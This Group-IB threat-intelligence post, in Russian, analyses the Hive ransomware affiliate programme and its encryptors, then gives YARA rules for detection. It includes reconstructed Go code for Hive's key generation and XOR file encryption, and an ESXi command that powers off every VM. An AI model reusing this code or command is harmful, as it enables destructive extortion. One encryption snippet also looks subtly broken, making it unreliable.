РУССКИЙ
РУССКИЙ
ENGLISH
09.12.2021

Вскрывая улей

Исследование шифровальщика Hive и его партнёрской программы
Дмитрий Шестаков
руководитель отдела исследования киберпреступности Group-IB
Андрей Жданов
специалист по проактивному поиску киберугроз Group-IB
Николай Степанов
аналитик Threat Intelligence Group-IB
За неполный 2021 год более 60% всех исследованных специалистами лаборатории компьютерной криминалистики Group-IB инцидентов пришлось на атаки с использованием программ-вымогателей. Шифровальщики окончательно утвердились в статусе киберугрозы номер один.

В июле 2021 года мировые СМИ вышли с заголовками о рекордном выкупе в $70 миллионов, который группировка REvil требовала от крупнейшего производителя мяса в мире JBS за предоставление ключа для расшифровки данных. Рекорд продержался недолго. Менее полугода потребовалось киберимперии шифровальщиков для того, чтобы рекордная сумма выкупа выросла более чем в 3 раза — до 240 миллионов долларов. В ноябре 2021 года жертвой стал крупнейший европейский ритейлер электроники — MediaMarkt. Как оказалось, за атакой на MediaMarkt стояла ранее державшаяся в тени группировка Hive. Обе группы работали по модели Ransomware-as-a-Service и активно публиковали на DLS-сайтах данные жертв, отказавшихся платить выкуп.
Именно развитие рынка партнерских программ Ransomware-as-a-Service (RaaS), использование техники double extortion с помощью DLS (сайтов с публикацией данных компаний-жертв, отказавшихся платить выкуп), а также смещение фокуса многих финансово мотивированных групп на организацию атак с использованием программ-вымогателей привели к расцвету киберимперии вымогателей.

По данным опубликованного сегодня второго тома отчета Hi-Tech Crime Trends 2021/2022 "УГРОЗА #1: КИБЕРИМПЕРИЯ ШИФРОВАЛЬЩИКОВ", количество компаний, данные которых были выложены на DLS, выросло на беспрецедентные 935% (с 229 до 2371) за период H2 2020 – H1 2021 по сравнению с H2 2019 – H1 2020. Несмотря на «протесты» ряда администраторов андеграундных форумов «No more ransom!», за анализируемый период (H2 2020 – H1 2021) здесь появилась 21 новая партнерская программа — это на 19% больше, чем в прошлом периоде.

Пока весь мир следил за вынужденными «ребрендингами» группировки REvil, счетчик жертв появившегося в июне 2021 года вымогателя Hive продолжал крутиться. Если оценивать закрытую партнерскую программу Hive исключительно по количеству компаний-жертв, данные которых были выложены на DLS (48), то может показаться, что это семейство шифровальщиков ничем не примечательно.

Однако при детальном изучении этой Ransomware-as-a-Service становится очевидно, что на сегодняшний день Hive — одна из наиболее агрессивных партнерских программ, операторы которой используют самые актуальные методы давления на атакуемые организации и отличительные тактики, техники и процедуры (TTPs), требующие отдельного рассмотрения.

Для технических специалистов авторы блога выделили отдельные разделы, позволяющие изучить часть методов и технологий, которые можно использовать для хантинга за группой Hive. Также мы приводим подробный анализ сэмпла программы-шифровальщика Hive, технические индикаторы компрометации и YARA-правила для выявления атак этой группы.

Участники RaaS Hive (англ. «Улей») трудятся как пчелы: реальное количество жертв исчисляется сотнями за неполные полгода существования партнерской программы. Благодаря особенностям DLS Hive и административной панели, специалистам Group-IB Threat Intelligence удалось установить, что на 16 октября 2021 года жертвами Hive стали 355 компаний.

Партнеры Hive могут использовать различные способы получения первоначального доступа к сетям организаций. Это могут быть уязвимые RDP-серверы, скомпрометированные учетные данные VPN, а также фишинговые рассылки с вредоносными вложениями. Непосредственно шифрование данных зачастую осуществляется в нерабочее время или выходные. Учитывая, что целями Hive становятся компании из различных секторов во всем мире, а атаки управляются партнёрами вручную, важно изучать TTPs операторов этого шифровальщика и следить за их изменениями.

Специалисты Group-IB из лаборатории компьютерной криминалистики и департамента Threat Intelligence проанализировали последние известные версии Hive и впервые изучили устройство партнёрской программы, проследив историю ее появления. В конце исследования приведены индикаторы компрометации (IOCs) и YARA-правила.

Более подробную информацию о партнёрских программах, самых значимых экземплярах программ-вымогателей, тактиках, методах и инструментах киберпреступников, а также о событиях в даркнете, которые привели к становлению империи кибервымогателей, можно получить, скачав отчет "Угроза #1: киберимперия шифровальщиков".
    Внутри RaaS Hive
    Одной из первых жертв Hive стала компания Altus Group, атакованная 23 июня 2021 года. Месяцем позже, 25 июля, информация об атаке на канадскую IT-компанию появилась на новом DLS-сайте Hive.
      Первая жертва на DLS группы Hive
      У группы Hive не было публичных партнерских программ, поэтому изначально не было понятно, как работает Hive: по принципу RaaS или же это закрытая группа, войти в которую невозможно.

      7 сентября 2021 года на закрытом андеграундом форуме RAMP пользователь с никнеймом kkk опубликовал рекламное сообщение о партнерской программе.
      Сообщение о поиске пентестера в партнерскую программу Hive, 2021
      Злоумышленник предоставил детальную информацию о вредоносном ПО, используемом в «партнерке», из характеристик которого стало понятно, что речь может идти о Hive.
      Информация о программе-вымогателе от пользователя kkk, 2021
      Злоумышленник также предоставил доступ к закрытой партнерской программе. При переходе по адресу, на котором располагалась административная панель «партнерки», удалось подтвердить, что она принадлежит RaaS Hive.
      Вход в административную панель Hive
      После авторизации участники партнёрской программы Hive видят главную страницу с краткой статистикой: какой процент от выкупа получают партнеры, сколько должны получить в будущем, сколько уже получили, количество заплативших, зашифрованных и опубликованных на DLS компаний. А также общий баланс и логин (на скриншоте замазаны).
      Главная страница партнерской программы Hive
      В разделе «Companies» злоумышленник указывает название компании жертвы, её сайт, краткое описание, а также может добавить информацию о выручке и количестве сотрудников.
      Создание карточки новой компании-жертвы в партнерской программе Hive
      После заполнения информации о жертве партнер Hive может оставить комментарий для администратора, а также обновить информацию о жертве. В правой части злоумышленник может скачать программу-вымогатель для будущей компании-жертвы, а также отметить, удалось ли зашифровать данные компании.

      Генерация программы-вымогателя может занимать до 15 минут. Если организация откажется платить выкуп, партнёры могут добавить ссылку, которая будет опубликована на DLS Hive.
        Генерация программы-вымогателя в партнерской программе Hive
        После создания программы-вымогателя будет сгенерирован архив со следующими файлами:
          Архив с содержимым программы-вымогателя Hive
          После заражения жертвы будет автоматически создана записка с запросом выкупа, которая содержит ссылку на сайт, а также логин и пароль для доступа.
          Hive ransom note
          Если злоумышленник подтверждает, что компания была зашифрована, то открывается чат с жертвой — sales department of Hive (англ. департамент продаж Hive).

          На момент исследования операторы шифровальщика Hive общались c жертвами через администратора партнерской программы по следующей схеме:
          1
          Жертва пишет в чат с администратором (слева), который виден и злоумышленнику
          2
          Злоумышленник пишет администратору (справа)
          3
          Администратор пересылает сообщение в чат с жертвой
          «Департамент продаж» партнерской программы Hive
          Представители жертвы нередко спорят с администратором Hive по поводу правильности оценки дохода их компании.
            Диалог администратора Hive и представителя компании-жертвы
            После того, как жертва заплатит выкуп, она предположительно сможет скачать декриптор и инструкцию для его использования.
            Декриптор, интерфейс партнерской программы Hive
            Но на практике это не всегда так. Некоторые жертвы после получения декриптора жалуются на проблемы при расшифровке данных.
            Проблемы в работе декриптора Hive
            Реальное количество жертв Hive и технические особенности DLS группы
            На момент исследования партнёрской программы Hive на контролируемом группой DLS-сайте были выложены данные 48 компаний, которые отказались платить выкуп операторам шифровальщика. Большинство из них находится в США. Наиболее часто встречающиеся индустрии — IT и недвижимость.

            Особенность партнерской программы заключается в том, что любому участнику доступны все ID компаний, которые есть в базе. Административная панель Hive и DLS работают с использованием API. Кроме Hive есть только две группы, которые использовали API: Grief и DoppelPaymer.

            Каждой компании присваивается уникальный ID, который также можно найти на DLS. Еще указывается количество сообщений, которые написали жертва и злоумышленник.
            Данные о компаниях-жертвах Hive: ID и количество сообщений

            Таким образом специалистам Group-IB Threat Intelligence удалось установить реальное количество жертв Hive, а также предположить, сколько компаний заплатили злоумышленникам выкуп за сокрытие информации. К 16 октября 2021 года в API Hive хранились сведения о 312 компаниях, которые предположительно стали жертвами операторов шифровальщика. Данные 48 из них были опубликованы на DLS.

            Меньше чем за месяц количество жертв Hive выросло на 72%. Еще 16 сентября 2021 года общее число пострадавших компаний составляло 181, а ровно через месяц их стало уже 312.

            Примечательно, что 43 компании из сентябрьского списка пропали из API спустя месяц, предположительно, заплатив выкуп злоумышленникам.

            Если сложить количество уникальных ID компаний (312) за октябрь, а также ID компаний, которые пропали из API в период с сентября по октябрь (43), то можно определить, что всего Hive совершили 355 атак.

            При этом удалось выяснить, что 104 из 312 компаний вели переписку со злоумышленниками — их данные не были опубликованы.

            К 16 октября из 48 компаний на DLS осталось только 34: данные 14 компаний после публикации были удалены из DLS и API. Вероятнее всего, компании согласились на выкуп, из-за чего информацию о них полностью убрали c DLS.

            Можно заметить, что большая часть из 34 компаний, информация о которых была доступна на DLS Hive 16 октября, не общались со злоумышленниками.
            Анализ программы-вымогателя Hive
            Как уже упоминалось выше, для каждой предстоящей атаки своих партнеров владельцы RaaS Hive собирают для них персональный комплект программ-вымогателей. Данный комплект содержит варианты программы-вымогателя для различных операционных систем:

            Программы-вымогатели Hive, за исключением версии для ESXi, разработаны на языке программирования Go (Golang) и имеют общий исходный код — за исключением части, специфической для конкретной операционной системы. При этом алгоритм шифрования файлов во всех вариантах Hive идентичен.

            Для затруднения обнаружения и анализа большинство программ Hive, разработанных на Go, подвергнуты обфускации. Также в образцах Hive затерты временные метки и отсутствуют другие идентифицирующие признаки, такие как, например, идентификатор сборки Go (Go Build ID).
            Мы выделили 3 версии программ-вымогателей Hive:
            • 1
              v1
              C июня по июль 2021 года включительно
            • 2
              v2
              С августа до середины сентября 2021 года
            • 3
              v3
              С середины сентября 2021 года по настоящее время

            Образцы для Windows версий v1 и v2 сжимались с помощью упаковщика UPX. В первой версии для зашифрованных файлов используется расширение ".hive", а в последующих версиях оно стало уникальным для каждой жертвы.
            При сборке каждого комплекта программ-вымогателей генерируются следующие данные:
            • Уникальное расширение для зашифрованных файлов (идентификатор жертвы) "xxxxx" (x – любой из символов '0'-'9', 'a'-'z'), например: "y1iiu".
            • Уникальное имя текстового файла с требованием о вымогательстве "XXXX_HOW_TO_DECRYPT.txt" (X – любой из символов '0'-'9', 'A'-'Z', 'a'-'z'), например: "XGTb_HOW_TO_DECRYPT.txt".
            • 20 пар ключей RSA различной длины (от 2048 до 5120). В предыдущих версиях Hive – 100 пар ключей.
            • Учетные данные для доступа жертвы на свою персональную страницу: логин (12 символов) и пароль (20 символов).

            Эти данные, за исключением закрытых ключей RSA, используются при компиляции вариантов программы-вымогателя комплекта.
            Hive для Windows
            Программы Hive для Windows разработаны в двух версиях: скрытой (GUI) и консольной (CUI). В консольной версии процесс шифрования отображается в окне консоли. Перед шифрованием вымогатели останавливают системные службы, завершают процессы, удаляют теневые копии разделов и устанавливают разрешения для доступа ко всем файлам. Чтобы невозможно было восстановить файлы, после завершения шифрования программы заполняют свободное пространство дисков случайными данными.

            Шифрование файлов осуществляется на всех логических дисках и доступных сетевых ресурсах или в каталогах и ресурсах, явно указанных в командной строке.

            В конце программа-вымогатель отображает текстовый файл с требованием о вымогательстве и удаляет себя.

            В программах Hive для Windows для исключаемых из процесса шифрования файлов используется следующее регулярное выражение:
            "(?i:[WIN_DIR]|\.(?:386|adv|ani|bat|bin|cab|cmd|com|cpl|cur|deskthemepack|diagcab|diagcfg|diagpkg|dll|drv|exe|hlp|
            hrmlog|hta|icl|icns|ico|ics|idx|ini|key|lnk|lock|log|mod|mpa|mp3|msc|msi|msp|msstyles|msu|nls|nomedi
            a|ocx|prf|ps1|rom|rtp|scr|shs|spl|sys|theme|themepack|url|wpx)$|
            (?:autorun\.inf|bootfont\.bin|boot\.ini|bootsect\.bak|desktop\.ini|iconcache\.db|ntldr|ntuser\.dat|ntuser
            \.dat\.log|ntuser\.ini|thumbs\.db)$|\\(\$recycle\.bin|\$windows\.~bt|\$windows\.~ws|All
            users|appdata|application
            data|boot|google|intel|Microsoft|mozilla|Mozilla|Msbuild|msocache|perflogs|system volume
            information|tor browser|windows|Windows nt|windows\.old)\\|(\$\\Windows\\|\\ADMIN\$|\\IPC\$)|
            (?:^$))"

            WIN_DIR – путь к каталогу Windows.
            Параметры командной строки

            В зависимости от сборки, состав параметров командной строки может несколько различаться.
            Hive для Linux/FreeBSD
            Варианты Hive для Linux/FreeBSD завершают непривилегированные (non-root) процессы, сканируют и шифруют файлы, содержащиеся в корневом каталоге (/) или в каталогах, указанных явно в командной строке. Для предотвращения восстановления файлов могут заполнять свободное дисковое пространство случайными данными.
            Параметры командной строки
            Hive для ESXi
            Вариант Hive для ESXi предназначен для шифрования файлов виртуальных машин.

            Перед шифрованием программа останавливает виртуальные машины с помощью следующей команды:
            
            vim-cmd vmsvc/getallvms | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off
            
            Параметры командной строки
            Технический анализ реализации шифрования файлов в Hive
            В этом блоге мы рассмотрим алгоритмы шифрования файлов, реализованные в последних версиях Hive. Предыдущие версии имеют схожую реализацию шифрования, поэтому изложенные далее результаты технического анализа также позволят получить общее представление о реализации шифрования в более ранних версиях.

            Для детального представления описываемых алгоритмов воспользуемся языком программирования Go, использующимся разработчиками для большинства вариантов Hive. Наименования большинства функций будут также соотноситься с теми, что используют сами разработчики Hive. Представленный код на Go несколько упрощен, но соответствует заложенным разработчиками Hive алгоритмам.

            Шифрование файлов в Hive осуществляется многопоточно с применением стандартных средств языка программирования Go.
            Две основные структуры данных, используемые в программах Hive:

            
            // Key table structure
            type EncryptionKeyTab struct {
              Data []byte
              Hash []byte
            }
            
            
            // HiveContext structure
            type HiveContext struct {
              KeyTab *EncryptionKeyTab
              RansomExt string
              RansomNoteName string
              RansomNote string
              FileSkipList string
              SkipWipe bool
              NumThreads int
              CmdArgs []string
              FileSkipRegexp *regexp.Regexp
              SkipRegexp *regexp.Regexp
              EncSkipRegexp *regexp.Regexp
              ServiceStopList string
              ProcessKillList string
              GrantPermissions bool
              ProcessKillRegexp *regexp.Regexp
              ServiceStopRegexp *regexp.Regexp
            }
            
            EncryptionKeyTab – структура таблицы ключей шифрования файлов.

            HiveContext – структура, содержащая основные данные программы-вымогателя Hive, такие как таблица ключей шифрования содержимого файлов, конфигурационные данные программы (расширение зашифрованных файлов, имя файла с требованием о вымогательстве и его содержимое, списки процессов и служб), аргументы командной строки, скомпилированные регулярные выражения и т.п. В зависимости от сборок программ Hive структура HiveContext в них может незначительно различаться.
            Главная функция Hive:
            
            // Hive main function
            func (ctx *HiveContext) RunProcess() {
            
              ctx.Init()
            
              ctx.ExportKey()
            
              ctx.Preprocess()
            
              ctx.PreNotify()
            
              ctx.ScanFiles()
            
              ctx.EncryptFiles()
            
              ctx.EraseKey()
            
              ctx.Notify()
            
              ctx.WipeSpace()
            
              ctx.Postprocess()
            }
            
            Функция Init, согласно своему названию, осуществляет инициализацию программы: получает основные параметры ее работы и заполняет соответствующие поля структуры HiveContext.
            Таблица ключей
            В начале своей работы программы-вымогатели Hive генерируют таблицу ключей для шифрования содержимого файлов в виде массива случайных данных размером 1 Мб (1 048 576 байт). Для ее генерации используется стандартная функция rand.Read из криптографического пакета Go "crypto/rand".
            
            // Hive initialization
            func (ctx *HiveContext) Init() {
            
              mathrand.Seed(time.Now().UnixNano())
            
              // Generate key table
              ctx.KeyTab = GenKeyTab()
            
              // Etc
              …
            }
            
            
            // Generate key table
            func GenKeyTab() *EncryptionKeyTab {
            
              data := make([]byte, 0x100000, 0x100000)
              cryptorand.Read(data)
            
              var keytab EncryptionKeyTab
            
              keytab.Data = data
            
              hash := sha512.Sum512_256(data)
            
              keytab.Hash = hash[:]
            
              return &keytab
            }
            
            Как мы видим в функции GenKeyTab, после генерации таблицы ключей дополнительно подсчитывается хеш SHA512-256 ее содержимого с помощью функции sha512.Sum512_256 из пакета Go "crypto/sha512". Впоследствии значение этого хеша размером 32 байта будет неоднократно использоваться в программе.

            После функции инициализации программы Init осуществляется экспорт сгенерированной таблицы ключей. И здесь, надо отметить, проявился своеобразный подход разработчиков Hive.
            
            // Export key table
            func (ctx *HiveContext) ExportKey() {
            
              // Import RSA public keys
              pubkeys := ImportRSAPubKeys()
            
              // Encrypt key table
              enc_keytab := ctx.KeyTab.Export(pubkeys)
            
              key_name_data := append(ctx.KeyTab.Hash, 0xFF)
            
              key_name := base64.URLEncoding.EncodeToString(key_name_data)
            
              key_filename := key_name + ".key." + ctx.RansomExt
            
              // Save encrypted key table to file
              …
            }
            
            
            // Import RSA public keys
            func ImportRSAPubKeys() []*rsa.PublicKey {
            
              var pubkeys []*rsa.PublicKey
            
              for i := 0; i < len(RSAPubKeyDerDataList); i++ {
            
                pubkey, _ := x509.ParsePKCS1PublicKey(RSAPubKeyDerDataList[i])
            
                pubkeys = append(pubkeys, pubkey)
              }
            
              return pubkeys
            }
            
            Как уже было сказано, в теле программы содержится 20 публичных ключей RSA различной длины (от 2048 до 5120) в формате DER. Ключи изначально хранятся в зашифрованном виде, и в самом начале работы программы они расшифровываются и помещаются в глобальный список, который мы назвали RSAPubKeyDerDataList. Для использования этих ключей RSA для шифрования таблицы ключей предварительно осуществляется их импорт.

            Содержимое таблицы ключей keytab шифруется блоками с помощью алгоритма шифрования RSA-OAEP с циклическим использованием указанных выше 20 ключей RSA. Размер каждого блока равен максимально допустимому размеру шифруемых данных, определяемому длиной соответствующего ключа RSA.
            
            // Encrypt key table
            func (keytab *EncryptionKeyTab) Export(pubkeys []*rsa.PublicKey) []byte {
            
              dst_data := make([]byte, 0, 0x200000)
            
              pos := 0
              rem_len := len(keytab.Data)
              num_keys := len(pubkeys)
            
              i := 0
            
              for rem_len > 0 {
            
                pubkey := pubkeys[i % num_keys]
            
                chunk_size := pubkey.Size() - (2 * 32 + 2)
                if chunk_size > rem_len {
                  chunk_size = rem_len
                }
            
                hash := sha512.New512_256()
            
                rng := cryptorand.Reader
            
                enc_chunk, _ := rsa.EncryptOAEP(hash, rng, pubkey,
                                                keytab.Data[pos : pos + chunk_size],
                                                nil)
            
                dst_data = append(dst_data, enc_chunk...)
            
                pos += chunk_size
                rem_len -= chunk_size
                i++
              }
            
              return dst_data
            }
            
            Зашифрованная таким образом таблица ключей enc_keytab далее сохраняется в корневые каталоги логических дисков файлы под следующим именем:
            [KEY_NAME].key.[RANSOM_EXT]

            KEY_NAME – имя зашифрованной таблицы ключей длиной 44 символа, полученное в результате конвертации в строку Base64 хеша оригинального содержимого таблицы ключей с добавлением в конец байта 0FFh (всего 33 байта). Для конвертации в Base64 используется следующая таблица символов Base64:

            ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_

            RANSOM_EXT – параметр конфигурации, определяющий расширение для зашифрованных файлов.
            Например, имя
            
            sb8SzAPVNWhK66-6cahq7Ah8gGmOJCykPSI5D07wFMH_.key.xxxxx
            
            соответствует следующему хешу содержимого таблицы ключей:
            Шифрование содержимого файлов
            Ну а теперь рассмотрим самое интересное – реализацию шифрования содержимого файлов.
            Функция шифрования файла на языке программирования Go:
            
            // Encrypt file
            func (keytab *EncryptionKeyTab) EncryptFilename(filename string,
                                                            ransom_ext string) error {
            
              n1 := mathrand.Uint32()
              n2 := mathrand.Uint32()
            
              var ext_data [42]byte
            
              copy(ext_data[:32], keytab.Hash)
              ext_data[32] = 0xFF
              *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(&ext_data[33])))) = n1
              *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(&ext_data[37])))) = n2
              ext_data[41] = 0x34
            
              file_ext := base64.URLEncoding.EncodeToString(ext_data[:])
            
              new_filename := filename + "." + file_ext + "." + ransom_ext
            
              err := os.Rename(filename, new_filename)
              if err != nil {
                return err
              }
            
              // Encrypt file data
              return keytab.EvaluateFilename(new_filename, n1, n2)
            }
            
            Для каждого файла генерируются два случайных 32-битных числа n1 и n2. Для генерации чисел в этом случае используется стандартный генератор псевдослучайной последовательности из пакета Go "math/rand". Как мы видели выше во фрагменте функции Init, инициализация генератора псевдослучайной последовательности осуществляется значением текущего времени системы жертвы:
            
            mathrand.Seed(time.Now().UnixNano())
            
            Эти два случайных числа используются для формирования имени зашифрованного файла и, что важно, для шифрования данных файла. Далее файл переименовывается и шифруется.
            Имя зашифрованного файла имеет следующий вид:

            [FILE_NAME].[ENCRYPTED_EXT].[RANSOM_EXT]

            FILE_NAME – имя исходного незашифрованного файла.

            ENCRYPTED_EXT – расширение зашифрованного файла длиной 56 символов, полученное в результате конвертации в строку Base64 хеша оригинального содержимого таблицы ключей с добавлением в конец следующих данных: байта 0FFh, 32-битных чисел n1 и n2 (порядок байт little-endian) и байта 34h (всего 42 байта).

            RANSOM_EXT – параметр конфигурации, определяющий расширение для зашифрованных файлов.
            Например, имя
            
            filename.ext.sb8SzAPVNWhK66-6cahq7Ah8gGmOJCykPSI5D07wFMH_0Xg0sk1aRdc0.xxxxx
            
            соответствует следующим данным:
            Числа n1 и n2 в этом случае имеют значения 0B23478D1h и 0D7455A4Dh соответственно.

            Шифрование файлов в Hive осуществляется блоками по 4096 байт, максимальное количество шифруемых в файле блоков – 25, что соответствует 102 400 байтам зашифрованных данных. Между шифруемыми блоками может быть интервал, размер которого определяется размером файла. Шифрование осуществляется с помощью побайтного XOR c двумя байтовыми последовательностями из таблицы ключей keytab размерами 102 400 байтов и 3 072 байта соответственно. Стартовые позиции последовательностей определяются с помощью значений чисел n1 и n2 соответственно.
            Код шифрования содержимого файла:
            
            // Encrypt file data
            func (keytab *EncryptionKeyTab) EvaluateFilename(filename string,
                                                             n1 uint32,
                                                             n2 uint32) error {
            
              f, err := os.OpenFile(filename, os.O_RDWR, 0600)
              if err != nil {
                return err
              }
            
              defer f.Close()
            
              file_info, err := f.Stat()
              if err != nil {
                return err
              }
            
              file_size := file_info.Size()
            
              var num_blocks int = int(30 * (file_size / 4096) / 100)
            
              if file_size == 0 {
                return nil
              }
            
              if file_size <= 4096 {
                num_blocks = 1
              } else if (num_blocks < 2) {
                num_blocks = 2
              } else {
                if (num_blocks > 25) {
                  num_blocks = 25
                }
              }
            
              key_data1_pos := n1 % 0xE7000
              key_data1 := keytab.Data[key_data1_pos : key_data1_pos + 0x19000]
            
              key_data2_pos := n2 % 0xFF400
              key_data2 := keytab.Data[key_data2_pos : key_data2_pos + 0xC00]
            
              var buf [4096]byte
            
              var total_pos int = 0
            
              var block_space int64
            
              if num_blocks > 1 {
                block_space = 0
              } else {
                block_space = (file_size - int64(num_blocks * 4096)) /
                              int64(num_blocks - 1)
              }
            
              for block_num := 1; block_num <= num_blocks; block_num++ {
            
                var file_off int64
            
                if block_num == 1 {
                  file_off = 0
                } else if block_num == num_blocks {
                  if file_size > file_off + 4096 {
                    file_off = file_size - 4096
                  }
                } else {
                  file_off += int64(block_space)
                }
            
                bytes_read, err := f.ReadAt(buf[:], file_off)
                if (err != nil) && (err != io.EOF) {
                  return err
                }
            
                if bytes_read == 0 {
                  break
                }
            
                // Encrypt block
                for i := 0; i < bytes_read; i++ {
                  pos := total_pos + i
                  buf[i] ^= key_data1[pos % 0x19000] ^ key_data2[pos % 0xC00]
                }
            
                _, err = f.WriteAt(buf[:bytes_read], file_off)
                if err != nil {
                  return err
                }
            
                file_off += int64(bytes_read)
                total_pos += bytes_read
              }
            
              return nil
            }
            
            По завершении шифрования файлов таблица ключей шифрования файлов очищается в памяти (функция EraseKey).

            Таким образом, для расшифровки каждого файла необходима исходная таблица ключей шифрования и значения чисел n1 и n2, извлеченные из имени этого файла.

            Главными плюсом для злоумышленников в такой реализации шифрования файлов является неизменность размера файла до и после шифрования и, конечно, скорость шифрования. Причем высокая скорость шифрования обусловлена в том числе сохранением оригинального размера файла. В отличие от многих программ-вымогателей, Hive не записывает свои метаданные непосредственно в зашифрованный файл. Это "достоинство" усложняет и процесс восстановления файлов, так как операционная система с большой долей вероятности перезапишет данные в те же кластеры.

            Однако с точки зрения стойкости данная схема шифрования не выглядит такой уж безупречной.

            Для сравнения, в предыдущих версиях Hive размер таблицы ключей составлял 10 Мб, а количество используемых для ее шифрования ключей RSA – 100. Шифрование содержимого также осуществлялось с использованием схожего алгоритма на основе побайтного XOR.


            Индикаторы компрометации
            SHA-256
            YARA rules
            
            /*
            Hive ransomware
            */
            
            
            rule Hive_v3
            {
                meta:
                    author = "Andrey Zhdanov"
                    company = "Group-IB"
                    family = "ransomware.hive"
                    description = "Hive v3 ransomware Windows/Linux/FreeBSD payload"
                    severity = 10
                    score = 100
            
                strings:
                    $h0 = { B? 03 52 DA 8D [6-12] 69 ?? 00 70 0E 00 [14-20]
                            8D ?? 00 90 01 00 }
                    $h1 = { B? 37 48 60 80 [4-12] 69 ?? 00 F4 0F 00 [2-10]
                            8D ?? 00 0C 00 00 }
                    $h2 = { B? 3E 0A D7 A3 [2-6] C1 E? ( 0F | 2F 4?)
                            69 ?? 00 90 01 00 }
            
                condition:
                    (((uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)) or
                     (uint32(0) == 0x464C457F)) and
                    (
                        (2 of ($h*))
                    )
            }
            
            
            rule Hive_ESXi_v3
            {
                meta:
                    author = "Andrey Zhdanov"
                    company = "Group-IB"
                    family = "ransomware.hive.esxi"
                    description = "Hive v3 ransomware ESXI payload"
                    severity = 10
                    score = 100
            
                strings:
                    $h0 = { 48 69 ?? B5 B4 1B 01 48 C1 E? 20 69 ?? 00 70 0E 00 29 ?? }
                    $h1 = { 48 69 ?? 25 30 40 00 48 C1 E? 20 69 ?? 00 F4 0F 00 29 ?? }
            
                    $a0 = "\\.(vm|vs)\\w+$\x00" ascii
                    $a1 = "vim-cmd vmsvc/getallvms | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off" ascii
            
                    $b0 = "\x00%s.key.%s\x00" ascii
                    $b1 = "\x00! export %s" ascii
                    $b2 = "\x00+ export %s" ascii
                    $b3 = "HOW_TO_DECRYPT.txt\x00" ascii
                    $b4 = "\x00+notify /etc/motd\x00" ascii
                    $b5 = "\x00+notify %s" ascii
                    $b6 = "\x00+ prenotify %s" ascii
                    $b7 = "\x00Stopping VMs\x00" ascii
            
                condition:
                    (uint32(0) == 0x464C457F) and
                    (
                        (2 of ($h*)) or
                        ((1 of ($a*)) and (2 of ($b*)))
                    )
            }
            
            1. Материал подготовлен специалистами Group-IB исключительно в исследовательских целях для минимизации риска дальнейшего использования способов и методов совершения противоправных действий и их своевременного пресечения.

            2. Выводы не являются официальной позицией компетентных органов, в том числе правоохранительных. Текст не содержит прямых обвинений в совершении преступлений, иных противоправных действий и носит аналитический и информационный характер.
            Испытай Group-IB Threat Intelligence & Attribution прямо сейчас!
            Оптимизируй стратегию кибербезопасности, исследуй атакующих, атрибутируй атаки с лучшим в своём классе продуктом